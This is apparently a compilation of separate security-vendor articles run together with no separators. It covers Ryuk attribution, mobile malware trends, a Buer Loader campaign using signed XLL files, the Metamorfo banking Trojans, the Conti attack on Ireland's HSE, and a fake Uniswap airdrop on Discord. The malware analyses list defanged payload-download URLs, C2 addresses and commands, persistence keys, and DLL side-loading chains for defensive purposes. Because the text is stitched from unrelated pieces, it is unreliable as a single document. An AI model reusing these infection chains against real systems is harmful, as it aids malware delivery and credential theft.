From a call-flow perspective, we notice the similarities and evolution of the code: The Hermes 2.1 ransomware kit, renamed and redistributed as Ryuk.
The author and seller of Hermes 2.1 emphasizes that he is selling is a kit and not a service.
This suggests that a buyer of the kit must do some fine tuning by setting up a distribution method (spam, exploit kit, or RDP, for example) and infrastructure to make Hermes work effectively.
If changing a name and ransom note are part of these tuning options, then it is likely that Ryuk is an altered version Hermes 2.1.
Attribution: analyzing competing hypotheses In the race to determine who is behind an attack, research facts (the What and How questions) are often put aside to focus on attribution (the Who question).
Who did it?
This pursuit is understandable yet fundamentally flawed.
Attribution is crucial, but there will always be unanswered questions.
Our approach focuses on answering the What and How questions by analyzing the malware, the infrastructure involved, and the incident response performed at the victim’s site.
Our approach is always to analyze competing hypotheses.
When investigating an incident, we form several views and compare all the artifacts to support these hypotheses.
We try not only to seek verifying evidence but also actively try to find evidence that falsifies a hypothesis.
Keeping our eyes open for falsifying facts and constantly questioning our results are essential steps to avoid conformation bias.
By following this method, we find the strongest hypothesis is not the one with the most verifying evidence, but the one with the least falsifying evidence.
Examining competing hypotheses is a scientific approach to investigating cyber incidents.
It may not help with the race to attribution, but it ensures the output is based on available evidence.
The most likely hypothesis in the Ryuk case is that of a cybercrime operation developed from a tool kit offered by a Russian-speaking actor.
From the evidence, we see sample similarities over the past several months that indicate a tool kit is being used.
The actors have targeted several sectors and have asked a high ransom, 500 Bitcoin.
Who is responsible?
We do not know.
But we do know how the malware works, how the attackers operate, and how to detect the threat.
That analysis is essential because it allows us to serve our customers.
We continuously monitor the mobile threat landscape to keep you informed of the most important trends.
Not long back, we published a report about the threats facing smartphone and tablet owners in 2021.
First the good news: a major takeaway is that last year we saw a significant decrease in mobile threat activity compared to 2020.
However, with that said — it’s too early to relax.
For one thing, the number of attacks on smartphones and tablets fell only relative to the record high of 2020, and remained at around the same level as in 2019.
For another, cybercriminals are becoming increasingly inventive.
Adware attacks One of the trends in 2021 was the introduction of malicious code in third-party ads modules, which developers of various useful apps often plug in to monetize their work.
For example, last spring cybercriminals used a malicious advertisement SDK to infect APKPure, a popular alternative Android app store.
Fortunately, its developers took security seriously, and released a clean version a day after we got in touch with them.
A similar story happened with the popular WhatsApp mod FMWhatsApp: one of the versions of the app harbored the Triada Trojan inside an advertisement SDK.
This Trojan is infamous for being very difficult to remove from an infected device.
Moreover, Triada rarely comes alone and tends to download a bunch of other malicious apps onto the victim’s device.
Malware on Google Play We’ve already written more than once that malware can sneak into official app stores .
To pass all checks and get to through to users, cybercriminals employ all sorts of tricks, such as loading malicious code into an approved program in the guise of an update.
In 2021, loaders for various Trojans were found in apps on Google Play, which included the Joker and Facestealer malware.
Joker stealthily takes out paid subscriptions for the user, while Facestealer, as the name suggests, specializes in stealing Facebook credentials.
In most cases, to spread their creations via Google Play, cybercriminals add tiny injections of malicious code to an otherwise harmless apps that have been already approved by the store.
For example, the authors of the Joker Trojan took advantage of the popularity of the Korean TV series Squid Game to hide the malware in an app that offered themed wallpapers.
When Joker was discovered, there were more than 200 apps dedicated to the series on Google Play, and many of them borrowed features from each other.
Unsurprisingly, when scanning such programs, the store moderators let a malicious “upgrade” sneak past.
Small injections of malicious code are hard to detect during moderation, which cybercriminals constantly try to exploit.
One of the apps in Google Play that contained Joker Trojan Bankers — creative theft For several years now, banking Trojans have been hunting, not just for bank accounts but also for accounts in online stores and other digital services.
In 2021, their area of interest widened even further: our experts discovered the Gamethief malware, which steals login data for the mobile version of the game PlayerUnknown’s Battlegrounds (PUBG).
This is the first mobile Trojan that specializes in stealing gaming accounts — just a few years ago, this type of malware was exclusive to desktop computers.
Cybercriminals also improved the functionality of their creations.
For example, the Fakecalls banking Trojan is capable of dropping the call if the user tries to contact their bank, and replacing it with a pre-recorded response of a fake bank representative.
That way, the malware lulls the victim into thinking that a bank employee answered the call.
How to protect your smartphone from malware Cybercriminals are resourceful and take every opportunity to prey on mobile device users.
So, regardless of their activity level, it pays to be alert.
Download apps only from official sources.
True, this is not a 100% security guarantee, but there are far less malicious programs in official stores, and even when malware slips through moderation it usually gets removed from the store relatively quickly.
Whenever possible, use apps from trusted developers with a good reputation to minimize the chances of encountering malware.
Ignore apps that promise payouts you’ve never heard of or overly generous prizes.
It’s almost bound to be a scam.
Don’t give apps permissions they don’t need to work.
Most malware will not be able to deploy fully without potentially dangerous permissions , for example, access to Accessibility, access to text messages and installation of unknown apps .
Use a reliable mobile antivirus that will detect and block malware that tries to get inside your phone.
FortiGuard Labs Threat Research Report Affected Platforms: Windows Impacted Users: Any organization or individual Impact:
Remote attackers gain control of the vulnerable systems Severity Level: Moderate Introduction - Signed XLL File Delivers Buer Loader FortiGuard Labs has discovered a malicious spam campaign that uses the names of two well-known corporate entities as a social engineering lure to trick a target into opening a maliciously crafted Microsoft Excel document.
When opened, the document contacts a remote server that downloads a malicious payload from a predefined website.
What makes this campaign different from similar malicious spam campaigns is the use of a signed Microsoft Excel file with an .XLL file extension, rather than the standard .XLS file extension.
In this blog, we will examine details of this attack as well as the infrastructure they used.
The reader will see the multi-step process used to ensure that the target would be infected, including evasive steps to bypass detection technologies via the .XLL file extension and the use of a valid signed digital certificate.
What Exactly is an XLL File Extension?
An XLL file extension is used by Excel Add-in files to allow third party applications to add extra functionality to Excel.
XLL files are similar in structure to DLL files.
They allow for calls of specific Excel commands, worksheet functions from Visual Basic (VBA), registered XLL commands, and from functions referenced in Excel.
The use of XLL files is not as common as a maliciously crafted XLS file that contain macros or exploits, so it is a rarely observed evasion tactic used by threat actors to bypass endpoint detection.
Complicating things even further, the malicious XLL file used in this campaign (at the time of analysis) is signed with a valid digital signature and chained accordingly.
Signed malware containing valid digital certificates are used by threat actors to evade detection as they are trusted by antivirus and other endpoint security software.
Because a company or organization is vetted by a certificate authority (CA) before the issuance of a digital certificate, operating systems and anti-virus software treat files signed with these certificates as clean, which ultimately allows the signed file to operate with impunity.
And finally, when run, the maliciously crafted Excel file connects to a predetermined server to download the payload, which in this case is Buer Loader.
Campaign Details The modus operandi of these attackers is spam email.
Based on our observations, these attacks do not appear to be targeted, but instead appear to be blanketed campaigns looking for low hanging fruit—i.e., anyone willing to open the malicious attachment.
The email in the example below is a variant of the classic shipment courier status email, with this variation using DHL and Amazon trademarks as the lure.
This specific example was sent to an individual and not to an organization, further reinforcing the idea that these campaigns are not targeted.
This malicious spam appears to be rushed or the product of non-native English speakers as there are grammatical issues—“We sincerely sorry due to inconvenience...”—which makes it less than convincing, even to the untrained observer.
(Incidentally, the recipient of this particular email has had their email username and password posted online previously.
And according to haveibeenpwned[.
]com, this email address has also been exposed in four separate breaches.)
Contained within the email is an attachment with the file name “Detailed Invoice.xll.”
Looking at the attachment we can see that it is digitally signed and chains appropriately.
The digital signature is assigned to HORUM, with a reference email address of admin[@]khorum[.
]ru: The certificate appears to be valid until 3/24/2022: Visiting the website directly offers no further details as to what entity is behind this campaign:
Same with the WHOIS information: The Infection Chain When the user opens the XLL file, the Excel file triggers on xlAutoOpen in a similar fashion to a macro.
The following image shows the export name is the same.
The export attempts to contact the following URL: hxxp://dmequest[.
]com/dme/images/portfolio/products/1/csrsc.exe hosted on 68[.
]67.75.66.
Analysis reveals that the IP address serving the executable file belongs to a webhosting reseller in Florida in the United States.
Further analysis shows that this is most likely a compromised server and, based on experience, it is probably controlled by affiliates of the bad actors or the bad actors themselves.
Taking a deeper inspection of the server we see that it contains an open directory that is public.
In the folder where csrsc.exe resides, a directory timestamp appears to have been changed to look like it is one of the original files from 2016.
However, analysis revealed that the csrsc.exe file was actually compiled in 2021.
The directory also contains several other files from June 2021 that may be from a different campaign.
We have also observed older campaigns over the past several years being downloaded from this same IP address.
Some of these campaigns involve serving fake data recovery software as well as PayPal themed phishing sites.
However, it is difficult to determine if these attackers are all related, or if this is simply a leased server used by multiple threat actors.
A passive DNS entry of domains that resolved to this IP address highlights a variety of businesses entities, but overall, they appear to be a random collection of websites of customers belonging to the webhosting reseller.
Once the XLL file finishes downloading csrsc.exe, the downloaded file is saved as: %PUBLIC%\\srtherhaeth[.
]eXe
Further Insight into srtherhaeth.exe The downloaded file is Buer Loader.
First discovered in 2019, Buer Loader is Malware-as-a-Service that was first used by threat actors to deliver banking Trojans and various other malware.
As it gained popularity it was later adopted by Ryuk threat actors to help establish an initial foothold on targeted networks.
Once this foothold was established, the infamous Ryuk ransomware was then deployed.
Buer Loader has evolved since then and the following provides further insight into this latest version.
Analysis of srtherhaeth.exe reveals what is likely an invalid or expired signature, and because of this it did not chain appropriately and could not be verified as a legitimate certificate.
Further examination of the file revealed the following: File Version Information Copyright Cistae Description Weenong Original Name Detrition Internal Name Phytoflagellata File Version 0, 1, 3, 1 Comments Nonrival Date signed 2010-09-08 00:04:00 RUST Crates and Toolchains srtherhaeth.eXe is almost 2 MB.
In the world of malware, files in this size range are not common.
This is a newer variant of Buer loader that has been completely rewritten, as first pointed out by ProofPoint in May of 2021.
A deeper dive reveals that it was written in RUST and uses RUST crates/libraries, which explains the file size anomaly versus traditional malware.
Consistent with the latest version of Buer Loader, this version was observed incorporating the whoami ( https://github.com/libcala/whoami ) RUST crate, which allows for details such as current user info including username, full name, preferred language, OS name/version, and environment it is located in.
The version used is whoami-1.1.1, which was released on 2021-03-13 ( https://github.com/libcala/whoami/blob/main/CHANGELOG.md ) One interesting component of RUST are toolchains.
In layman’s terms, RUST toolchains are collections of programs along with multiple dependencies needed to compile a RUST application.
RUST toolchains observed used so far by Buer were: ureq 2.0.2 A minimal HTTP request library minreq
A simple, minimal-dependency HTTP client with less features than ureq.
A user-agent string of “something/1.0.0” Ring
According to the official site, Ring is a safe, fast, small crypto focused on general-purpose cryptography.
It uses RUST with BoringSSL's cryptography primitives.
Finally, the file receives additional instructions from its command and control (C2) server: hxxps://shipmentofficedepot[.
]com (195[.
]123.234.11).
Insight into C2 shipmentofficedepot[.
]com.
(195[.
]123.234.11) Detailed analysis over a 30-day period revealed a large majority of connections from US-based victims (66%), followed, interestingly enough, by Mozambique (22%), Singapore (5%), and other countries at (1% or less).
A cursory review of our telemetry indicates that over 1/3 of the traffic occurred over port 22 (SSH/SFTP).
Almost all of these port 22 connections originate from a reportedly compromised server.
Since this is a shared server hosting multiple websites, this information indicates that the provider may not mind hosting malicious websites.
Conclusion While the use of malicious XLL files is not new, it is rarely used.
But couple that with the fact that a valid digital signature was used (at the time of the attack) and the level of sophistication and resourcefulness of these attackers increases in the minds of threat researchers.
Even though the email lure used was basic, this may only indicate that the group behind this campaign was simply testing the effectiveness of their techniques.
However, the techniques used in this campaign are harder to spot than the average attack.
The examples in this blog highlight a carefully thought-out campaign by the attacker, who took the needed time and steps to ensure that their work would not be detected before infection.
Thankfully, Fortinet customers running the latest definition sets are already protected against this campaign.
Fortinet Protections FortiGuard Labs has AV coverage for the samples mentioned in this blog as: W32/Agent.
ADBL!tr W32/Buerak.
TO!tr.dldr W32/Kryptik.
HLHY!tr W32/PossibleThreat All known network IOCs are blocked by the WebFiltering client.
All known IOCs are blocked by FortiEDR ’s advanced real-time protection and have already been added to our cloud intelligence to prevent further execution on customer systems.
FortiMail , powered by threat intelligence from FortiGuard Labs , can detect and block phishing attacks and remove or neutralize malicious attachments Fortinet’s Phishing Simulation Service, FortiPhish , can also be used to proactively test the susceptibility of your organization to these kinds of phishing attacks.
We also suggest that our readers go through Fortinet’s free NSE Training : NSE 1—Information Security Awareness, which has a module on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks.
IOCs Detailed Invoice.xll 6F9D943F88F715FF8A122D7B88AF986C1A9F38F4484E48CDE768CF22A5935EFE srtherhaeth.eXe (Buer Loader)
C28ABAAAD1B7B2C7A37F28E974E8214F07C88FEFFEF986E0A60A44AB0FA575AA Payload Download URI hxxp://dmequest[.
]com/dme/images/portfolio/products/1/csrsc.exe C2 195[.
]123.234.11 Additional Buer Loader (contacts 195[.
]123.234.11) bd734170160b363e70602626baab37a1eb93cfb2d254cf17b6ff1b5e7313b568 9d1be741e3b09057cdaffb6e87d602afff496dee364767b161dfaab7e639866d MITRE ATT&CK Initial Access T1566.001 – Spearphishing Attachment Execution T1204.002 – Malicious File Persistence T1547.001 – Registry Run Keys / Startup Folder Defense Evasion T1218 – Signed Binary Proxy Execution T1480.001 – Environmental Keying T1497.001 – System Checks T1553.002 – Code Signing Discovery T1082 – System Information Discovery T1497.001 – System Checks Collection T1005 – Data from Local System Command and Control T1071.001 – Web Protocols T1105 – Ingress Tool Transfer Exfiltration T1041 – Exfiltration Over C2 channel Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about Fortinet’s free cybersecurity training , an initiative of Fortinet’s Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program , Security Academy program , and Veterans program .
Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio.
FireEye Labs recently identified several widespread malspam (malware spam) campaigns targeting Brazilian companies with the goal of delivering banking Trojans.
We are referring to these campaigns as Metamorfo.
Across the stages of these campaigns, we have observed the use of several tactics and techniques to evade detection and deliver the malicious payload.
In this blog post we dissect two of the main campaigns and explain how they work.
Campaign #1
The kill chain starts with an email containing an HTML attachment with a refresh tag that uses a Google URL shortener as the target.
Figure 1 shows a sample email, and Figure 2 show the contents of the HTML file.
Figure 1:
Malicious Email with HTML Attachment Figure 2:
Contents of HTML File When the URL is loaded, it redirects the victim to a cloud storage site such as GitHub, Dropbox, or Google Drive to download a ZIP file.
An example is shown in Figure 3.
Figure 3: URL Shortener Redirects to Github Link
The ZIP archive contains a malicious portable executable (PE) file with embedded HTML application (HTA).
The user has to unzip the archive and double-click the executable for the infection chain to continue.
The PE file is a simple HTA script compiled into an executable.
When the user double-clicks the executable, the malicious HTA file is extracted to %temp% and executed by mshta.exe.
The HTA script (Figure 4) contains VBS code that fetches a second blob of VBS code encoded in base64 form from hxxp://<redacted>/ilha/pz/logs.php.
Figure 4:
Contents of HTA File After the second stage of VBS is decoded (Figure 5 and Figure 6), the script downloads the final stage from hxxp://<redacted>/28022018/pz.zip.
Figure 5:
Contents of Decoded VBS Figure 6: More Contents of Decoded VBS The downloaded ZIP file contains four files.
Two are PE files.
One is a legitimate Windows tool, pvk2pfx.exe, that is abused for DLL side-loading.
One is the malicious banking Trojan as the DLL.
The VBS code unzips the archive, changes the extension of the legitimate Windows tool from .png
to .exe, and renames the malicious DLL as cryptui.dll.
The VBS code also creates a file in C:\\Users\\Public\\Administrador\\car.dat with random strings.
These random strings are used to name the Windows tool, which is then executed.
Since this tool depends on a legitimate DLL named cryptui.dll, the search order path will find the malicious Trojan with the same name in the same directory and load it into its process space.
In Q4 of 2017, a similar malspam campaign delivered the same banking Trojan by using an embedded JAR file attached in the email instead of an HTML attachment.
On execution, the Java code downloaded a ZIP archive from a cloud file hosting site such as Google Drive, Dropbox, or Github.
The ZIP archive contained a legitimate Microsoft tool and the malicious Trojan.
Banking Trojan Analysis The Trojan expects to be located in the hardcoded directory C:\\\\Users\\\\Public\\Administrador\\\\ along with three other files to start execution.
As seen in Figure 7, these files are: car.dat (randomly generated name given to Windows tool)
i4.dt (VBS script that downloads the same zip file)
id (ID given to host) cryptui.dll (malicious Trojan) Figure 7: Contents of ZIP Archive Persistence
The string found in the file C:\\\\Users\\\\Public\\\\Administrador\\\\car.dat is extracted and used to add the registry key Software\\Microsoft\\Windows\\CurrentVersion\\Run\\<string from car.dat> for persistence, as shown in Figure 8.
Figure 8: Reading from car.dat File
The sample also looks for a file named i4.dt in the same directory and extracts the contents of it, renames the file to icone.vbs, and creates a new persistent key (Figure 9) in \\Software\\Microsoft\\Windows\\CurrentVersion\\Run to open this file.
Figure 9: Persistence Keys The VBS code in this file (Figure 10) has the ability to recreate the whole chain and download the same ZIP archive.
Figure 10:
Contents of VBS Script Next, the Trojan searches for several folders in the Program Files directories, including: C:\\\\Program Files\\\\AVG C:\\\\Program Files\\\\AVAST Software C:\\\\Program Files\\\\Diebold\\\\Warsaw C:\\\\Program Files\\\\Trusteer\\\\Rapport C:\\\\Program Files\\\\Java C:\\\\Program Files (x86)\\\\scpbrad If any of the folders are found, this information, along with the hostname and Operating System version, is sent to a hardcoded domain with the hardcoded User-Agent value “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0” in the format shown in Figure 11.
The value of AT is “<host_name+OS&MD>=<list of folders found>”.
Figure 11:
Network Traffic for Host Enumeration The sample iterates through the running processes, kills the following, and prevents them from launching: msconfig.exe TASKMGR.exe regedit.exe ccleaner64.exe taskmgr.exe itauaplicativo.exe Next, it uses GetForegroundWindow to get a handle to the window the user is viewing and GetWindowText
to extract the title of the window.
The title is compared against a hardcoded list of Brazilian banking and digital coin sites.
The list is extensive and includes major organizations and smaller entities alike.
If any of those names are found and the browser is one of the following, the Trojan will terminate that browser.
firefox.exe chrome.exe opera.exe safari.exe The folder C:\\Users\\Public\\Administrador\\logs\\ is created to store screenshots, as well as the number of mouse clicks the user has triggered while browsing the banking sites (Figure 12).
The screenshots are continuously saved as .jpg images.
Figure 12:
Malware Capturing Mouse Clicks Command and Control The command and control (C2) server is selected based on the string in the file “id”: al -> '185.43.209[.
]182' gr -> '212.237.46[.
]6' pz -> '87.98.146[.
]34' mn -> ’80.211.140[.
]235'
The connection to one of the hosts is then started over raw TCP on port 9999.
The command and control communication generally follows the pattern <|Command |>, for example: '<|dispida|>logs>SAVE<' sends the screenshots collected in gh.txt. '
<PING>' is sent from C2 to host, and '<PONG>' is sent from host to C2, to keep the connection alive. '
<|INFO|>' retrieves when the infection first started based on the file timestamp from car.dat along with '<|>' and the host information.
There were only four possible IP addresses that the sample analyzed could connect to based on the strings found in the file “id”.
After further researching the associated infrastructure of the C2 (Figure 13), we were able to find potential number of victims for this particular campaign.
Figure 13: Command and Control Server Open Directories Inside the open directories, we were able to get the following directories corresponding to the different active campaigns.
Inside each directory we could find statistics with the number of victims reporting to the C2.
As of 3/27/2018, the numbers were: al – 843 ap – 879 gr – 397 kk – 2,153 mn – 296 pz – 536 tm – 187 A diagram summarizing Campaign #1 is shown in Figure 14.
Figure 14: Infection Chain of Campaign #1 Campaign #2
In the second campaign, FireEye Labs observed emails with links to legitimate domains (such as hxxps://s3-ap-northeast-1.amazonaws[.
]com/<redacted>/Boleto_Protesto_Mes_Marco_2018.html) or compromised domains (such as hxxps://curetusu.<redacted>-industria[.
]site/) that use a refresh tag with a URL shortener as the target.
The URL shortener redirects the user to an online storage site, such as Google Drive, Github, or Dropbox, that hosts a malicious ZIP file.
A sample phishing email is shown in Figure 15.
Figure 15:
Example Phishing Email
The ZIP file contains a malicious executable written in AutoIt (contents of this executable are shown in Figur 16).
When executed by the user, it drops a VBS file to a randomly created and named directory (such as C:\\mYPdr\\TkCJLQPX\\HwoC\\mYPdr.vbs) and fetches contents from the C2 server.
Figure 16:
Contents of Malicious AutoIt Executable Two files are downloaded from the C2 server.
One is a legitimate Microsoft tool and the other is a malicious DLL: https[:]//panel-dark[.
]com/w3af/img2.jpg https[:]//panel-dark[.
]com/w3af/img1.jpg
Those files are downloaded and saved into random directories named with the following patterns: <current user dir>\\<5 random chars>\\<8 random chars>\\<4 random chars>\\<5 random chars>.exe <current user dir>\\<5 random chars>\\<8 random chars>\\<4 random chars>\\CRYPTUI.dll The execution chain ensures that persistence is set on the affected system using a .lnk
file in the Startup directory.
The .lnk file shown in Figure 17 opens the malicious VBS dropped on the system.
Figure 17:
Persistence Key The VBS file (Figure 18) will launch and execute the downloaded legitimate Windows tool, which in this case is Certmgr.exe.
This tool will be abused using the DLL side loading technique.
The malicious Cryptui.dll is loaded into the program instead of the legitimate one and executed.
Figure 18:
Contents of Dropped VBS File Banking Trojan Analysis Like the Trojan from the first campaign, this sample is executed through search-order hijacking.
In this case, the binary abused is a legitimate Windows tool, Certmgr.exe, that loads Cryptui.dll.
Since this tool depends on a legitimate DLL named cryptui.dll, the search order path will find the malicious Trojan with the same name in the same directory and load it into its process space.
The malicious DLL exports 21 functions.
Only DllEntryPoint contains real code that is necessary to start the execution of the malicious code.
The other functions return hardcoded values that serve no real purpose.
On execution, the Trojan creates a mutex called \"correria24\" to allow only one instance of it to run at a time.
The malware attempts to resolve “www.goole[.
]com” (most likely a misspelling).
If successful, it sends a request to hxxp://api-api[.
]com/json in order to detect the external IP of the victim.
The result is parsed and execution continues only if the country code matches “BR”, as shown in Figure 19.
Figure 19:
Country Code Check
The malware creates an empty file in %appdata%\\Mariapeirura on first execution, which serves as a mutex lock, before attempting to send any collected information to the C2 server.
This is done in order to get only one report per infected host.
The malware collects host information, base64 encodes it, and sends it to two C2 servers.
The following items are gathered from the infected system: OS name OS version OS architecture AV installed List of banking software installed IP address Directory where malware is being executed from The information is sent to hxxp://108.61.188.171/put.php (Figure 20).
Figure 20:
Host Recon Data Sent to First C2 Server
The same information is sent to panel-dark[.
]com/Contador/put.php
(Figure 21).
Figure 21:
Host Recon Data Sent to
Second C2 Server
The malware alters the value of registry key Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\ExtendedUIHoverTime to 2710 in order to change the number of milliseconds a thumbnail is showed while hovering on the taskbar, as seen in Figure 22.
Figure 22:
ExtendedUIHoverTime Registry Key Change Like the Trojan from the first campaign, this sample checks if the foreground window's title contains names of Brazilian banks and digital coins by looking for hardcoded strings.
The malware displays fake forms on top of the banking sites and intercepts credentials from the victims.
It can also display a fake Windows Update whenever there is nefarious activity in the background, as seen in Figure 23.
Figure 23:
Fake Form Displaying Windows Update The sample also contains a keylogger functionality, as shown in Figure 24.
Figure 24: Keylogger Function Command and Control The Trojan’s command and control command structure is identical to the first sample.
The commands are denoted by the <|Command|> syntax.
<|OK|> gets a list of banking software installed on the host. '
<PING>' is sent from C2 to host, and '<PONG>' is sent from host to C2, to keep connection alive.
<|dellLemb|> deletes the registry key \\Software\\Microsoft\\Internet Explorer\\notes.
EXECPROGAM calls ShellExecute to run the application given in the command.
EXITEWINDOWS calls ExitWindowsEx.
NOVOLEMBRETE creates and stores data sent with the command in the registry key \\Software\\Microsoft\\Internet Explorer\\notes.
Figure 25: Partial List of Victims This sample contains most of the important strings encrypted.
We provide the following script (Figure 26) in order to decrypt them.
Figure 26:
String Decryption Script Conclusion
The use of multi-stage infection chains makes it challenging to research these types of campaigns all the way through.
As demonstrated by our research, the attackers are using various techniques to evade detection and infect unsuspecting Portuguese-speaking users with banking Trojans.
The use of public cloud infrastructure to help deliver the different stages plays a particularly big role in delivering the malicious payload.
The use of different infection methods combined with the abuse of legitimate signed binaries to load malicious code makes these campaigns worth highlighting.
Indicators of Compromise Campaign #1 TYPE HASH DESCRIPTION MD5 860fa744d8c82859b41e00761c6e25f3 PE with Embedded HTA MD5 3e9622d1a6d7b924cefe7d3458070d98 PE with Embedded HTA MD5 f402a482fd96b0a583be2a265acd5e74 PE with Embedded HTA MD5 f329107f795654bfc62374f8930d1e12 PE with Embedded HTA MD5 789a021c051651dbc9e01c5d8c0ce129 PE with Embedded HTA MD5 68f818fa156d45889f36aeca5dc75a81 PE with Embedded HTA MD5 c2cc04be25f227b13bcb0b1d9811e2fe cryptui.dll MD5 6d2cb9e726c9fac0fb36afc377be3aec id MD5 dd73f749d40146b6c0d2759ba78b1764 i4.dt MD5 d9d1e72165601012b9d959bd250997b3 VBS file with commands to create staging directories for malware MD5 03e4f8327fbb6844e78fda7cdae2e8ad pvk2pfx.exe
[Legit Windows Tool] URL hxxp://5.83.162.24/ilha/pz/logs.php URL hxxp://5.83.162.24/28022018/pz.zip C2 ibamanetibamagovbr[.
]org/virada/pz/logs.php URL sistemasagriculturagov[.
]org URL hxxp://187.84.229.107/05022018/al.zip Campaign #2 TYPE HASH DESCRIPTION MD5 2999724b1aa19b8238d4217565e31c8e AutoIT Dropper MD5 181c8f19f974ad8a84b8673d487bbf0d img1.jpg [lLegit Windows Tool] MD5 d3f845c84a2bd8e3589a6fbf395fea06 img2.jpg [Banking Trojan] MD5 2365fb50eeb6c4476218507008d9a00b Variants of Banking Trojan MD5 d726b53461a4ec858925ed31cef15f1e Variants of Banking Trojan MD5 a8b2b6e63daf4ca3e065d1751cac723b Variants of Banking Trojan MD5 d9682356e78c3ebca4d001de760848b0 Variants of Banking Trojan MD5 330721de2a76eed2b461f24bab7b7160 Variants of Banking Trojan MD5 6734245beda04dcf5af3793c5d547923 Variants of Banking Trojan MD5 a920b668079b2c1b502fdaee2dd2358f Variants of Banking Trojan MD5 fe09217cc4119dedbe85d22ad23955a1 Variants of Banking Trojan MD5 82e2c6b0b116855816497667553bdf11 Variants of Banking Trojan MD5 4610cdd9d737ecfa1067ac30022d793b Variants of Banking Trojan MD5 34a8dda75aea25d92cd66da53a718589 Variants of Banking Trojan MD5 88b808d8164e709df2ca99f73ead2e16 Variants of Banking Trojan MD5 d3f845c84a2bd8e3589a6fbf395fea06 Variants of Banking Trojan MD5 28a0968163b6e6857471305aee5c17e9 Variants of Banking Trojan MD5 1285205ae5dd5fa5544b3855b11b989d Variants of Banking Trojan MD5 613563d7863b4f9f66590064b88164c8 Variants of Banking Trojan MD5 3dd43e69f8d71fcc2704eb73c1ea7daf Variants of Banking Trojan C2 https[:]//panel-dark[.
]com/w3af/img2.jpg
C2 https[:]//panel-dark[.
]com/w3af/img1.jpg Subscribe to Blogs Get email updates as new blog posts are added.
Updated on May 17, 2021.
Media outlets are reporting an attack by ransomware on the Health Service Executive (HSE), Ireland’s healthcare system.
The HSE decided to shut down key information systems for thorough investigation and protection against further threat spread.
A number of clinics have reported temporary shutdowns or at least disruptions in their operations, although they continue to provide emergency care services.
The COVID-19 vaccination program was not interrupted, although some institutions have had to revert to outdated workflow systems.
The Irish healthcare system attack in brief
According to HSE representatives, a “very sophisticated,” human-operated ransomware attack caused “significant disruption” to their services.
Such incidents are particularly difficult to counter because the cybercriminals adjust their tactics and specific targets during the attack.
External experts and law enforcement cyberspecialists are contributing to the investigation, which is still in early stages.
However, HSE representatives presume the main target was data stored on the organization’s servers.
Representatives of Rotunda Hospital, a medical institution affected by the attack, say the unified HSE patient registering system may have been a spreading vector.
Fortunately, the attack did not affect life-saving equipment; only healthcare records are unavailable.
Who is behind the attack, and what do they want?
According to Bleeping Computer , the operators of Conti ransomware contacted HSE representatives and demanded almost $20 million in ransom.
The crooks claimed that they had been present in HSE’s network for more than two weeks before encrypting any data, that they’d downloaded approximately 700GB of unencrypted files — including personal data, contracts, and financial documents — and that they’d publish the information if their terms weren’t met.
Conti ransom demand.
Source: Bleeping Computer.
Ireland’s prime minister refused to pay that ransom, a decision we fully support .
How to protect healthcare from ransomware Ransomware threats to healthcare institutions around the world are on the rise .
To minimize infection risk, we recommend prioritizing the protection of remote access tools and e-mail systems, the two most common entry points for ransomware .
In addition, security awareness is more than just important.
In particular, we recommend: Raising employee awareness about modern cyberthreats and the role all staff play in cybersecurity; Avoiding remote connections to internal networks to the extent possible; Maintaining a strict password policy requiring all passwords be unique, complex, and secure; Installing security patches and updates promptly; Using robust security solutions on all devices with access to the Internet, including medical equipment and information kiosks and panels ; Protecting corporate mail servers , through which a fair number of threats enter company infrastructure.
Additionally, Endpoint Detection and Response –class solutions can help detect ransomware threats in their early stages, simplifying response actions and investigation.
Following recent scams involving fake cryptocurrency exchanges and fake news sites , we recently uncovered a third campaign, one using fake DEX exchanges and aimed at cryptocurrency enthusiasts on the Discord messaging app.
Here’s how the new scheme works.
A word about cryptocurrency exchanges First, what’s a DEX?
Two types of cryptocurrency exchanges exist: centralized (CEX) and decentralized (DEX).
With a CEX exchange, clients transfer money to the exchange and the funds are moved to a wallet, the private key for which is stored on the platform.
Accordingly, exchange operators are also responsible for security.
CEX exchanges belong to specific legal entities, and their clients undergo know-your-customer checks to fight money laundering.
In general, such sites are convenient and reliable, but some users are put off by the need to transfer funds to the exchange and the possibility of having their account frozen during verification.
Unlike CEX platforms, DEX exchanges are essentially just intermediaries between buyers and sellers.
Traders can use any wallet and don’t need to transfer private keys.
DEX exchanges tend not to be owned by any particular organization, they don’t necessarily verify their clients, and they’re not typically very invested in stopping illegal transactions.
The decentralized approach provides greater anonymity.
In addition, DEX exchanges often have lower fees, which is perhaps why they have been attracting ever more cryptocurrency traders of late.
Decentralization also means more security concerns for users — and on top of the ordinary added risk DEX users accept, cybercriminals recently created a phishing site disguised as a DEX exchange called Uniswap.
How DEX clients get duped Potential victims — users of popular Discord cryptocurrency servers — receive phishing messages that appear to come from Uniswap and offer free tokens.
The authors pass their scheme off as an airdrop — a giveaway of coins, usually to promote a new cryptocurrency but sometimes for user loyalty or for simple tasks such as reposting on social networks.
(Such “gifts” are sometimes called helicopter money .)
In their message, the scammers claim that several cryptocurrency services have just launched such a campaign, and the addressee is among the lucky recipients of the drop.
The prize is juicy, too: 2.5 Ethereum and 25,000 ZKSwap coins — more than $75,000 at the time of posting.
A scam message from a fake exchange about winning helicopter ETH and ZKS If one ignores the unusually generous airdrop, the message looks credible:
The language is awkward but not riddled with major errors, the level of emoji use is reasonable, and the list of exchanges includes reputable names.
It even includes believable T&Cs for receiving the prize.
The brevity of the link to the giveaway might arouse suspicion, but that’s unlikely; many are already accustomed to shortened addresses such as t.co or bit.ly links.
The link leads to a page very similar to the Uniswap website — and the fairly well-known exchange actually held a helicopter money promotion for clients not so long ago.
The scam website, however, prominently features a button labeled Claim accumulated rewards .
A page disguised as Uniswap offers 2.5 ETH Clicking the button takes the victim to a screen requesting the private key or mnemonic phrase for their cryptowallet (in our story, the scammers requested a Metamask wallet).
In this case, a mnemonic phrase , or seed phrase, is a sequence of normal human words that restores access to a wallet in the event of a technical failure or a change of device.
How not to fall for DEX scams To avoid swallowing the cybercriminal bait, follow these simple rules: Be wary of any offers of free cryptocurrency.
